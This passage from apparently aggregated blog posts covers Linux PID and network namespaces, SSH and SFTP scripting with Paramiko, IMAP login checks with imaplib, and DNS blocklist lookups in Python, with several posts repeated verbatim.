	void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE);

	mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL);
	while (waitpid(mypid, &r, 0) < 0 && errno == EINTR)
	{
		continue;
	}
	if (WIFEXITED(r))
	{
		return WEXITSTATUS(r);
	}
	return EXIT_FAILURE;
}

static int callee()
{
	int ret;
	mount("proc", "/proc", "proc", 0, "");
	setgid(u);
	setgroups(0, NULL);
	setuid(u);
	ret = execl("/bin/bash", "/bin/bash", NULL);
	return ret;
}

To execute the code produces the following:

root@w:~/pen/tmp# gcc -O -o ns -Wall -Werror -ansi ns.c
root@w:~/pen/tmp# ./ns
nobody@w:~/pen/tmp$ id
uid=65534(nobody) gid=65534(nogroup)
nobody@w:~/pen/tmp$ ps auxw
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody       1  0.0  0.0   4620  1816 pts/1    S    21:21   0:00 /bin/bash
nobody       5  0.0  0.0   2784  1064 pts/1    R+   21:21   0:00 ps auxw
nobody@w:~/pen/tmp$ 

Notice that the UID and GID are set to that of nobody and nogroup. Specifically notice that the full ps output shows only two running processes and that their PIDs are 1 and 5 respectively.

LXC is an OS level virtualization tool utilizing cgroups and namespaces for resource isolation.

Now, let’s move on to using ip netns to work with network namespaces. First, let’s confirm that no namespaces exist currently:

root@w:~# ip netns list
Object "netns" is unknown, try "ip help".

In this case, either ip needs an upgrade, or the kernel does. Assuming you have a kernel newer than 2.6.24, it’s most likely ip. After upgrading, ip netns list should by default return nothing.

Let’s add a new namespace called ‘ns1’:

root@w:~# ip netns add ns1
root@w:~# ip netns list
ns1

First, let’s list the current interfaces:

root@w:~# ip link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff

Now to create a new virtual interface, and add it to our new namespace. Virtual interfaces are created in pairs, and are linked to each other – imagine a virtual crossover cable:

root@w:~# ip link add veth0 type veth peer name veth1
root@w:~# ip link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
3: veth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff
4: veth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether f2:f7:5e:e2:22:ac brd ff:ff:ff:ff:ff:ff

ifconfig -a will also now show the addition of both veth0 and veth1.

Great, now to assign our new interfaces to the namespace. Note that ip netns exec is used to execute commands within the namespace:

root@w:~# ip link set veth1 netns ns1
root@w:~# ip netns exec ns1 ip link list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
3: veth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff

ifconfig -a will now only show veth0, as veth1 is in the ns1 namespace.

Should we want to delete veth0/veth1:

ip netns exec ns1 ip link del veth1

We can now assign IP address 192.168.5.5/24 to veth0 on our host:

ifconfig veth0 192.168.5.5/24

And assign veth1 192.168.5.10/24 within ns1:

ip netns exec ns1 ifconfig veth1 192.168.5.10/24 up

To execute ip addr list on both our host and within our namespace:

root@w:~# ip addr list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.122/24 brd 192.168.3.255 scope global eth0
    inet6 fe80::20c:29ff:fe65:259e/64 scope link 
       valid_lft forever preferred_lft forever
6: veth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 86:b2:c7:bd:c9:11 brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.5/24 brd 192.168.5.255 scope global veth0
    inet6 fe80::84b2:c7ff:febd:c911/64 scope link 
       valid_lft forever preferred_lft forever
root@w:~# ip netns exec ns1 ip addr list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.10/24 brd 192.168.5.255 scope global veth1
    inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link 
       valid_lft forever preferred_lft forever

To view routing tables inside and outside of the namespace:

root@w:~# ip route list
default via 192.168.3.1 dev eth0  proto static 
192.168.3.0/24 dev eth0  proto kernel  scope link  src 192.168.3.122 
192.168.5.0/24 dev veth0  proto kernel  scope link  src 192.168.5.5 
root@w:~# ip netns exec ns1 ip route list
192.168.5.0/24 dev veth1  proto kernel  scope link  src 192.168.5.10 

Lastly, to connect our physical and virtual interfaces, we’ll require a bridge. Let’s bridge eth0 and veth0 on the host, and then use DHCP to gain an IP within the ns1 namespace:

root@w:~# brctl addbr br0
root@w:~# brctl addif br0 eth0
root@w:~# brctl addif br0 veth0
root@w:~# ifconfig eth0 0.0.0.0
root@w:~# ifconfig veth0 0.0.0.0
root@w:~# dhclient br0
root@w:~# ip addr list br0
7: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.122/24 brd 192.168.3.255 scope global br0
    inet6 fe80::20c:29ff:fe65:259e/64 scope link 
       valid_lft forever preferred_lft forever

br0 has been assigned an IP of 192.168.3.122/24. Now for the namespace:

root@w:~# ip netns exec ns1 dhclient veth1
root@w:~# ip netns exec ns1 ip addr list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.248/24 brd 192.168.3.255 scope global veth1
    inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link 
       valid_lft forever preferred_lft forever

Excellent! veth1 has been assigned 192.168.3.248/24

SSH and SFTP with Paramiko & Python

Par Adam Palmer

Paramiko is a Python implementation of SSH with a whole range of supported features. To start, let’s look at the most simple example – connecting to a remote SSH server and gathering the output of ls /tmp/

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
        ssh.connect('localhost', username='testuser', password='t3st@#test123')
except paramiko.SSHException:
        print "Connection Failed"
        quit()

stdin,stdout,stderr = ssh.exec_command("ls /etc/")

for line in stdout.readlines():
        print line.strip()
ssh.close()

After importing paramiko, we create a new variable ‘ssh’ to hold our SSHClient. ssh.set_missing_host_key_policy automatically adds our server’s host key without prompting. For security, this is not a good idea in production, and host keys should be added manually. Should a host key change unexpectedly, it could indicate that the connection has been compromised and is being diverted elsewhere.

Next, we create 3 variables, stdin, stdout and stderr allowing us to access the respective streams when calling ls /etc/

Finally, for each “\n” terminated line on stdout, we print the line, stripping the trailing “\n” (as print adds one). Finally we close the SSH connection.

Let’s look at another example, where we communicate with stdin.

cat in its simplest form will print what it receives on stdin to stdout. This can be shown as follows:

root@w:~# echo "test" | cat
test

Simply, we can use:

stdin,stdout,stderr = ssh.exec_command("cat")
stdin.write("test")

To allow us to communicate with stdin. Wait! Now, the program hangs indefinitely. cat is waiting for an EOF to be received. To do so, we must close the channel:

stdin.channel.shutdown_write()

Now, let’s extend the example to read a colon separated username and password from a file:

import paramiko
import sys

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

if len(sys.argv) != 2:
	print "Usage %s <filename>" % sys.argv[0]
	quit()

try:
	fd = open(sys.argv[1], "r")
except IOError:
	print "Couldn't open %s" % sys.argv[1]
	quit()

username,passwd = fd.readline().strip().split(":") #TODO: add error checking!

try:
	ssh.connect('localhost', username=username, password=passwd)
	stdin,stdout,stderr = ssh.exec_command("ls /tmp")
	for line in stdout.readlines():
		print line.strip()
	ssh.close()
except paramiko.AuthenticationException:
	print "Authentication Failed"
	quit()
except:
	print "Unknown error"
	quit()


Lastly, let’s look at reading a remote directory over SFTP:

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
	ssh.connect('localhost', username='testuser', password='t3st@#test123')
except paramiko.SSHException:
	print "Connection Error"
sftp = ssh.open_sftp()
sftp.chdir("/tmp/")
print sftp.listdir()
ssh.close()

Paramiko supports far more SFTP options, including of course the upload and download of files.

SSH and SFTP with Paramiko & Python

Par Adam Palmer

Paramiko is a Python implementation of SSH with a whole range of supported features. To start, let’s look at the most simple example – connecting to a remote SSH server and gathering the output of ls /tmp/

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
        ssh.connect('localhost', username='testuser', password='t3st@#test123')
except paramiko.SSHException:
        print "Connection Failed"
        quit()

stdin,stdout,stderr = ssh.exec_command("ls /etc/")

for line in stdout.readlines():
        print line.strip()
ssh.close()

After importing paramiko, we create a new variable ‘ssh’ to hold our SSHClient. ssh.set_missing_host_key_policy automatically adds our server’s host key without prompting. For security, this is not a good idea in production, and host keys should be added manually. Should a host key change unexpectedly, it could indicate that the connection has been compromised and is being diverted elsewhere.

Next, we create 3 variables, stdin, stdout and stderr allowing us to access the respective streams when calling ls /etc/

Finally, for each “\n” terminated line on stdout, we print the line, stripping the trailing “\n” (as print adds one). Finally we close the SSH connection.

Let’s look at another example, where we communicate with stdin.

cat in its simplest form will print what it receives on stdin to stdout. This can be shown as follows:

root@w:~# echo "test" | cat
test

Simply, we can use:

stdin,stdout,stderr = ssh.exec_command("cat")
stdin.write("test")

To allow us to communicate with stdin. Wait! Now, the program hangs indefinitely. cat is waiting for an EOF to be received. To do so, we must close the channel:

stdin.channel.shutdown_write()

Now, let’s extend the example to read a colon separated username and password from a file:

import paramiko
import sys

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

if len(sys.argv) != 2:
	print "Usage %s <filename>" % sys.argv[0]
	quit()

try:
	fd = open(sys.argv[1], "r")
except IOError:
	print "Couldn't open %s" % sys.argv[1]
	quit()

username,passwd = fd.readline().strip().split(":") #TODO: add error checking!

try:
	ssh.connect('localhost', username=username, password=passwd)
	stdin,stdout,stderr = ssh.exec_command("ls /tmp")
	for line in stdout.readlines():
		print line.strip()
	ssh.close()
except paramiko.AuthenticationException:
	print "Authentication Failed"
	quit()
except:
	print "Unknown error"
	quit()


Lastly, let’s look at reading a remote directory over SFTP:

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
	ssh.connect('localhost', username='testuser', password='t3st@#test123')
except paramiko.SSHException:
	print "Connection Error"
sftp = ssh.open_sftp()
sftp.chdir("/tmp/")
print sftp.listdir()
ssh.close()

Paramiko supports far more SFTP options, including of course the upload and download of files.

Simple IMAP Account Verification in Python

Par Adam Palmer

imaplib is a great library for handling IMAP communication. It supports both plaintext IMAP and IMAP over SSL (IMAPS) with ease. Connecting to an IMAP server is achieved as follows:

import imaplib

host = "mx.sasdataservices.com"
port = 143
ssl = 0

try:
	if ssl:
		imap = imaplib.IMAP4_SSL(host, port)
	else:
		imap = imaplib.IMAP4(host, port)
	welcomeMsg = imap.welcome
	print "IMAP Banner: %s" %(welcomeMsg)
except:
	print "Connection Failed"
	quit()

This results in the following output: “IMAP Banner: * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2011 Double Precision, Inc. See COPYING for distribution information.” Now, to log in:

username="user@email.com"
password="password"

try:
	loginMsg = imap.login(username, password)
	print "Login Message: %s" %(loginMsg[1])
except:
	print "Login Failed"
	quit()

With acceptable credentials, the response is: “Login Message: [‘LOGIN Ok.’]”. Lastly, to print a list of all mailboxes in the account:

try:
	mBoxes = imap.list()
	for mBox in mBoxes[1]:
		print mBox
except:
	print "Couldn't get Mail Boxes"
quit()

In my case, this returns:

Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Drafts"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Trash"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Sent Messages"
Mailbox: (\Unmarked \HasChildren) "." "INBOX"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Deleted Messages"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Sent"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Notes"

For more information on imaplib’s feature set visit the documentation.

Simple IMAP Account Verification in Python

Par Adam Palmer

imaplib is a great library for handling IMAP communication. It supports both plaintext IMAP and IMAP over SSL (IMAPS) with ease. Connecting to an IMAP server is achieved as follows:

import imaplib

host = "mx.sasdataservices.com"
port = 143
ssl = 0

try:
	if ssl:
		imap = imaplib.IMAP4_SSL(host, port)
	else:
		imap = imaplib.IMAP4(host, port)
	welcomeMsg = imap.welcome
	print "IMAP Banner: %s" %(welcomeMsg)
except:
	print "Connection Failed"
	quit()

This results in the following output: “IMAP Banner: * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2011 Double Precision, Inc. See COPYING for distribution information.” Now, to log in:

username="user@email.com"
password="password"

try:
	loginMsg = imap.login(username, password)
	print "Login Message: %s" %(loginMsg[1])
except:
	print "Login Failed"
	quit()

With acceptable credentials, the response is: “Login Message: [‘LOGIN Ok.’]”. Lastly, to print a list of all mailboxes in the account:

try:
	mBoxes = imap.list()
	for mBox in mBoxes[1]:
		print mBox
except:
	print "Couldn't get Mail Boxes"
quit()

In my case, this returns:

Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Drafts"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Trash"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Sent Messages"
Mailbox: (\Unmarked \HasChildren) "." "INBOX"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Deleted Messages"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Sent"
Mailbox: (\Unmarked \HasNoChildren) "." "INBOX.Notes"

For more information on imaplib’s feature set visit the documentation.

DNS Black List / RBL Checking in Python

Par Adam Palmer

Following on from performing basic DNS Lookups in Python, it’s relatively trivial to begin testing DNS Block Lists/Real Time Black Lists for blocked mail server IP addresses. To assist in preventing spam, a number of public and private RBLs are available. These track the IP addresses of mail servers that are known to produce spam, thus allowing recipient mail servers to deny delivery from known spammers.

RBLs operate over DNS. In order to test a RBL, a DNS query is made. As an example, zen.spamhaus.org is a popular RBL. If I wanted to test IP address 148.251.196.147 against the zen.spamhaus.org blocklist, I would reverse the octets in the IP address and then append ‘.zen.spamhaus.org’, i.e. 147.196.251.148.zen.spamhaus.org. I then perform an ‘A’ record lookup on said host:

root@w:~/tmp# host -t a 147.196.251.148.zen.spamhaus.org
Host 147.196.251.148.zen.spamhaus.org not found: 3(NXDOMAIN)

Excellent. IP 148.251.196.147 was not found in zen.spamhaus.org. NXDOMAIN is returned.

Now, to take a known spammer’s IP: 144.76.252.9:

root@w:~/tmp# host -t a 9.252.76.144.zen.spamhaus.org
9.252.76.144.zen.spamhaus.org has address 127.0.0.4

IP 144.76.252.9 IS listed at zen.spamhaus.org. We can now query the TXT record to find out any accompanying data that zen.spamhaus.org provides:

root@w:~/tmp# host -t txt 9.252.76.144.zen.spamhaus.org
9.252.76.144.zen.spamhaus.org descriptive text "http://www.spamhaus.org/query/bl?ip=144.76.252.9"

Moving on.. we can now implement these tests programatically within Python. Here’s a commented example:

import dns.resolver
bl = "zen.spamhaus.org"
myIP = "144.76.252.9"

try:
	my_resolver = dns.resolver.Resolver() #create a new resolver
	query = '.'.join(reversed(str(myIP).split("."))) + "." + bl #convert 144.76.252.9 to 9.252.76.144.zen.spamhaus.org
	answers = my_resolver.query(query, "A") #perform a record lookup. A failure will trigger the NXDOMAIN exception
	answer_txt = my_resolver.query(query, "TXT") #No exception was triggered, IP is listed in bl. Now get TXT record
	print 'IP: %s IS listed in %s (%s: %s)' %(myIP, bl, answers[0], answer_txt[0])
except dns.resolver.NXDOMAIN:
	print 'IP: %s is NOT listed in %s' %(myIP, bl)

This code produces output:

IP: 144.76.252.9 IS listed in zen.spamhaus.org(127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")

Finally, we can implement multiple blocklists and have the script accept command line input:

import dns.resolver
import sys

bls = ["zen.spamhaus.org", "spam.abuse.ch", "cbl.abuseat.org", "virbl.dnsbl.bit.nl", "dnsbl.inps.de", 
	"ix.dnsbl.manitu.net", "dnsbl.sorbs.net", "bl.spamcannibal.org", "bl.spamcop.net", 
	"xbl.spamhaus.org", "pbl.spamhaus.org", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", 
	"dnsbl-3.uceprotect.net", "db.wpbl.info"]

if len(sys.argv) != 2:
	print 'Usage: %s <ip>' %(sys.argv[0])
	quit()

myIP = sys.argv[1]

for bl in bls:
	try:
		my_resolver = dns.resolver.Resolver()
		query = '.'.join(reversed(str(myIP).split("."))) + "." + bl
		answers = my_resolver.query(query, "A")
		answer_txt = my_resolver.query(query, "TXT")
		print 'IP: %s IS listed in %s (%s: %s)' %(myIP, bl, answers[0], answer_txt[0])
	except dns.resolver.NXDOMAIN:
		print 'IP: %s is NOT listed in %s' %(myIP, bl)

This produces the following output:

root@w:~/tmp# ./bl.py 144.76.252.9
IP: 144.76.252.9 IS listed in zen.spamhaus.org (127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in spam.abuse.ch
IP: 144.76.252.9 IS listed in cbl.abuseat.org (127.0.0.2: "Blocked - see http://cbl.abuseat.org/lookup.cgi?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in virbl.dnsbl.bit.nl
IP: 144.76.252.9 is NOT listed in dnsbl.inps.de
IP: 144.76.252.9 IS listed in ix.dnsbl.manitu.net (127.0.0.2: "Your e-mail service was detected by mx.selfip.biz (NiX Spam) as spamming at Sat, 22 Nov 2014 11:17:11 +0100. Your admin should visit http://www.dnsbl.manitu.net/lookup.php?value=144.76.252.9")
IP: 144.76.252.9 IS listed in dnsbl.sorbs.net (127.0.0.6: "Currently Sending Spam See: http://www.sorbs.net/lookup.shtml?144.76.252.9")
IP: 144.76.252.9 is NOT listed in bl.spamcannibal.org
IP: 144.76.252.9 IS listed in bl.spamcop.net (127.0.0.2: "Blocked - see http://www.spamcop.net/bl.shtml?144.76.252.9")
IP: 144.76.252.9 IS listed in xbl.spamhaus.org (127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in pbl.spamhaus.org
IP: 144.76.252.9 IS listed in dnsbl-1.uceprotect.net (127.0.0.2: "IP 144.76.252.9 is UCEPROTECT-Level 1 listed. See http://www.uceprotect.net/rblcheck.php?ipr=144.76.252.9")
IP: 144.76.252.9 is NOT listed in dnsbl-2.uceprotect.net
IP: 144.76.252.9 is NOT listed in dnsbl-3.uceprotect.net
IP: 144.76.252.9 IS listed in db.wpbl.info (127.0.0.2: "Spam source - http://wpbl.info/record?ip=144.76.252.9")

DNS Black List / RBL Checking in Python

Par Adam Palmer

Following on from performing basic DNS Lookups in Python, it’s relatively trivial to begin testing DNS Block Lists/Real Time Black Lists for blocked mail server IP addresses. To assist in preventing spam, a number of public and private RBLs are available. These track the IP addresses of mail servers that are known to produce spam, thus allowing recipient mail servers to deny delivery from known spammers.

RBLs operate over DNS. In order to test a RBL, a DNS query is made. As an example, zen.spamhaus.org is a popular RBL. If I wanted to test IP address 148.251.196.147 against the zen.spamhaus.org blocklist, I would reverse the octets in the IP address and then append ‘.zen.spamhaus.org’, i.e. 147.196.251.148.zen.spamhaus.org. I then perform an ‘A’ record lookup on said host:

root@w:~/tmp# host -t a 147.196.251.148.zen.spamhaus.org
Host 147.196.251.148.zen.spamhaus.org not found: 3(NXDOMAIN)

Excellent. IP 148.251.196.147 was not found in zen.spamhaus.org. NXDOMAIN is returned.

Now, to take a known spammer’s IP: 144.76.252.9:

root@w:~/tmp# host -t a 9.252.76.144.zen.spamhaus.org
9.252.76.144.zen.spamhaus.org has address 127.0.0.4

IP 144.76.252.9 IS listed at zen.spamhaus.org. We can now query the TXT record to find out any accompanying data that zen.spamhaus.org provides:

root@w:~/tmp# host -t txt 9.252.76.144.zen.spamhaus.org
9.252.76.144.zen.spamhaus.org descriptive text "http://www.spamhaus.org/query/bl?ip=144.76.252.9"

Moving on.. we can now implement these tests programatically within Python. Here’s a commented example:

import dns.resolver
bl = "zen.spamhaus.org"
myIP = "144.76.252.9"

try:
	my_resolver = dns.resolver.Resolver() #create a new resolver
	query = '.'.join(reversed(str(myIP).split("."))) + "." + bl #convert 144.76.252.9 to 9.252.76.144.zen.spamhaus.org
	answers = my_resolver.query(query, "A") #perform a record lookup. A failure will trigger the NXDOMAIN exception
	answer_txt = my_resolver.query(query, "TXT") #No exception was triggered, IP is listed in bl. Now get TXT record
	print 'IP: %s IS listed in %s (%s: %s)' %(myIP, bl, answers[0], answer_txt[0])
except dns.resolver.NXDOMAIN:
	print 'IP: %s is NOT listed in %s' %(myIP, bl)

This code produces output:

IP: 144.76.252.9 IS listed in zen.spamhaus.org(127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")

Finally, we can implement multiple blocklists and have the script accept command line input:

import dns.resolver
import sys

bls = ["zen.spamhaus.org", "spam.abuse.ch", "cbl.abuseat.org", "virbl.dnsbl.bit.nl", "dnsbl.inps.de", 
	"ix.dnsbl.manitu.net", "dnsbl.sorbs.net", "bl.spamcannibal.org", "bl.spamcop.net", 
	"xbl.spamhaus.org", "pbl.spamhaus.org", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", 
	"dnsbl-3.uceprotect.net", "db.wpbl.info"]

if len(sys.argv) != 2:
	print 'Usage: %s <ip>' %(sys.argv[0])
	quit()

myIP = sys.argv[1]

for bl in bls:
	try:
		my_resolver = dns.resolver.Resolver()
		query = '.'.join(reversed(str(myIP).split("."))) + "." + bl
		answers = my_resolver.query(query, "A")
		answer_txt = my_resolver.query(query, "TXT")
		print 'IP: %s IS listed in %s (%s: %s)' %(myIP, bl, answers[0], answer_txt[0])
	except dns.resolver.NXDOMAIN:
		print 'IP: %s is NOT listed in %s' %(myIP, bl)

This produces the following output:

root@w:~/tmp# ./bl.py 144.76.252.9
IP: 144.76.252.9 IS listed in zen.spamhaus.org (127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in spam.abuse.ch
IP: 144.76.252.9 IS listed in cbl.abuseat.org (127.0.0.2: "Blocked - see http://cbl.abuseat.org/lookup.cgi?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in virbl.dnsbl.bit.nl
IP: 144.76.252.9 is NOT listed in dnsbl.inps.de
IP: 144.76.252.9 IS listed in ix.dnsbl.manitu.net (127.0.0.2: "Your e-mail service was detected by mx.selfip.biz (NiX Spam) as spamming at Sat, 22 Nov 2014 11:17:11 +0100. Your admin should visit http://www.dnsbl.manitu.net/lookup.php?value=144.76.252.9")
IP: 144.76.252.9 IS listed in dnsbl.sorbs.net (127.0.0.6: "Currently Sending Spam See: http://www.sorbs.net/lookup.shtml?144.76.252.9")
IP: 144.76.252.9 is NOT listed in bl.spamcannibal.org
IP: 144.76.252.9 IS listed in bl.spamcop.net (127.0.0.2: "Blocked - see http://www.spamcop.net/bl.shtml?144.76.252.9")
IP: 144.76.252.9 IS listed in xbl.spamhaus.org (127.0.0.4: "http://www.spamhaus.org/query/bl?ip=144.76.252.9")
IP: 144.76.252.9 is NOT listed in pbl.spamhaus.org
IP: 144.76.252.9 IS listed in dnsbl-1.uceprotect.net (127.0.0.2: "IP 144.76.252.9 is UCEPROTECT-Level 1 listed. See http://www.uceprotect.net/rblcheck.php?ipr=144.76.252.9")
IP: 144.76.252.9 is NOT listed in dnsbl-2.uceprotect.net
IP: 144.76.252.9 is NOT listed in dnsbl-3.uceprotect.net
IP: 144.76.252.9 IS listed in db.wpbl.info (127.0.0.2: "Spam source - http://wpbl.info/record?ip=144.76.252.9")
❌